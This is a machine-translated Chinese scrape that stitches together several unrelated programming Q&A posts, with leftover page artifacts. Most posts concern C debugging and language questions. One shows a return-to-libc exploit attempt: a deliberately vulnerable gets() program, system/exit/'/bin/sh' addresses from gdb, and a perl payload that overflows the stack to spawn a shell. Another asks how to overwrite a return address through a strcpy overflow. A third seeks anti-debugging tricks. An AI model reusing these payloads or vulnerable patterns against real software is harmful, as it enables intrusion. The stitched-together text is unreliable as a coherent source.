我刚刚读完了CERT工作的Brian Seacord 在C和C++中读取的安全编码.
总的来说,这是一本很好的书,我会推荐给任何尚未阅读它的程序员.在阅读之后,我发现对于所有各种类型的安全漏洞(例如漏洞利用代码注入,缓冲区溢出,整数溢出,字符串格式化漏洞等),每个安全漏洞似乎都归结为一件事:访问不受进程合法分配的缓冲区限制的内存地址的能力.
注入恶意代码或重新路由程序逻辑的能力完全取决于能够访问落在合法分配的缓冲区之外的内存地址.但是在像Java这样的语言中,这根本不可能.可能发生的最糟糕的事情是程序将终止ArrayIndexOutOfBoundsException,导致拒绝服务.
那么在Java等"安全"语言中是否存在任何安全漏洞,无法进行无效的内存访问?(我在这里使用Java作为示例,但我真的很想知道任何防止无效内存访问的语言中的安全漏洞.)
我希望有一个静态函数,我在定义之前在我的.c文件中声明:
//file a.c version 1
static int foo();
...
static int foo()
{
...
}
Run Code Online (Sandbox Code Playgroud)
但是,似乎我可以将static关键字从函数定义中删除,并且我没有得到编译器警告......例如
//file a.c version 2
static int foo();
...
int foo()
{
...
}
Run Code Online (Sandbox Code Playgroud)
假设这两种形式完全相同,我是否正确?
如果是这样,为什么允许这种差异,我应该使用哪种形式?
我们在ARM 9上运行uclibc linux.问题是uclibc不支持回溯.当核心转储发生时,我无法获取调用堆栈.
有人有一个很好的解决方案吗?
例如,现有的uclibc回溯移植,或者在发生核心转储时获取调用堆栈的任何好方法(uclibc + ARM + Linux)?
作为刚刚开始学习计算机调试复杂性的人,对于我的生活,我无法理解如何在Windbg中读取转储的堆栈文本.我不知道从哪里开始如何解释它们或如何解决它.谁能为这个可怜的灵魂提供方向?
即(实际上我手边唯一的转储)
>b69dd8f0 bfa1e255 016d2fc0 89efc000 00000040 nv4_disp+0x48b94 b69dd8f4 016d2fc0 89efc000 00000040 00000006 nv4_disp+0x49255 b69dd8f8 89efc000 00000040 00000006 bfa1dcc0 0x16d2fc0 b69dd8fc 00000000 00000006 bfa1dcc0 e1e71018 0x89efc000
我知道问题与Nvidia显示驱动程序有关,但我想知道的是如何实际读取堆栈(例如,什么是b69dd8f4?): - [
我正在使用Ubuntu,我想阅读其内核的版本.我在/ proc /中找到了一个名为version的文件,它记录了当前内核的版本.
如果我不想读取文件,还有其他方法,比如C中的内置函数,我可以读取C中的版本吗?
谢谢
我遇到了返回libc漏洞的问题.问题是没有任何事情发生,但没有分段错误(是的,我实际上是溢出堆栈).
这是我的计划:
int main(int argc, char **argv) {
char array[512];
gets(array);
}
Run Code Online (Sandbox Code Playgroud)
我使用的是gets而不是strcopy,因为我的地址以0x00开头而strcpy认为它是字符串的结尾,所以我不能使用它.
以下是我需要的地址:
$ gdb main core
(gdb) p system
$1 = {<text variable, no debug info>} 0x179680 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x16f6e0 <exit>
(gdb) x/s 0xbffffe3f
0xbffffe3f: "/bin/sh"
Run Code Online (Sandbox Code Playgroud)
输入正确的序列时,会发生这种情况:
eleanor@eleanor32:~/testing/root$ perl -e 'print "\x41"x516 . "\x80\x96\x17\x00" . "\xe0\xf6\x16\x00" . "\x3f\xfe\xff\xbf"' | ./main
eleanor@eleanor32:~/testing/root$
Run Code Online (Sandbox Code Playgroud)
所以什么都没有.
但是如果我输入520'A'(0x41),那么EIP会溢出'A'.如果有516'A',则没有任何反应,但EIP包含系统地址,在退出地址之后,在/ bin/sh指针之后.
什么都没发生?
在Unix系统上自动获取堆栈跟踪有哪些方法?我并不是指获取核心文件或以GDB交互方式附加,而是使用SIGSEGV处理程序将回溯转储到文本文件.
以下可选功能的奖励积分:
dlopened共享库中添加它我想禁用在抛出异常时生成的堆栈跟踪.我用过,
Runtime.getRuntime().traceInstructions(false);
Runtime.getRuntime().traceMethodCalls(false);
Run Code Online (Sandbox Code Playgroud)
但我仍然可以看到跟踪生成.你怎么能这样做?此外,我需要检测是否有人正在调试我的课程.
我想禁用所有异常跟踪.我不能使用混淆,因为我的产品是一个将用于开发的SDK.我还提供了Runtime,当人们想要部署使用我的SDK构建的应用程序时,会使用它.我的要求是任何使用我的运行时jar的人都不应该能够调试编写的代码...或者至少我会通过避免从我的运行时jar生成堆栈跟踪来使调试变得困难.
我发现的一种方法是所有来自我的运行时jar的异常,我只是捕获它们并在异常对象上设置一个空的StackTraceElement数组并重新抛出它...
为何如此要求?假设您使用我的SDK开发应用程序.(SDK jar无法与您的应用程序捆绑在一起..我已经限制了它,那就是最终:) !!)现在要在客户端的机器上运行您的应用程序,您(或客户端)需要安装客户端计算机上的运行时并运行您的应用程序.现在如果你的客户使用我的Runtime jar开始开发他自己的应用程序怎么办 这对我的生意构成威胁....这就是为什么这个可怕的要求.
为什么禁用堆栈跟踪?
通过禁用堆栈跟踪生成或方法调用跟踪生成我想用我的Runtime jar开发代码很困难,这就是为什么我以这种方式开始我的问题...建议一些其他解决方案来实现这样的要求......
我刚刚写了一个C代码,如下所示:
#include<stdio.h>
#include<string.h>
void func(char *str)
{
char buffer[24];
int *ret;
strcpy(buffer,str);
}
int main(int argc,char **argv)
{
int x;
x=0;
func(argv[1]);
x=1;
printf("\nx is 1\n");
printf("\nx is 0\n\n");
}
Run Code Online (Sandbox Code Playgroud)
请告诉我如何跳过printf行("\nx是1 \n"); .之前我得到的线索是修改ret变量,它是函数func的返回地址.
您能否建议我如何更改上述程序中的返回地址,以便printf("\nx是1 \n"); 被跳过了.
我发布了这个问题,因为我不知道如何更改返回地址.
如果你帮助我,那将是很棒的.
谢谢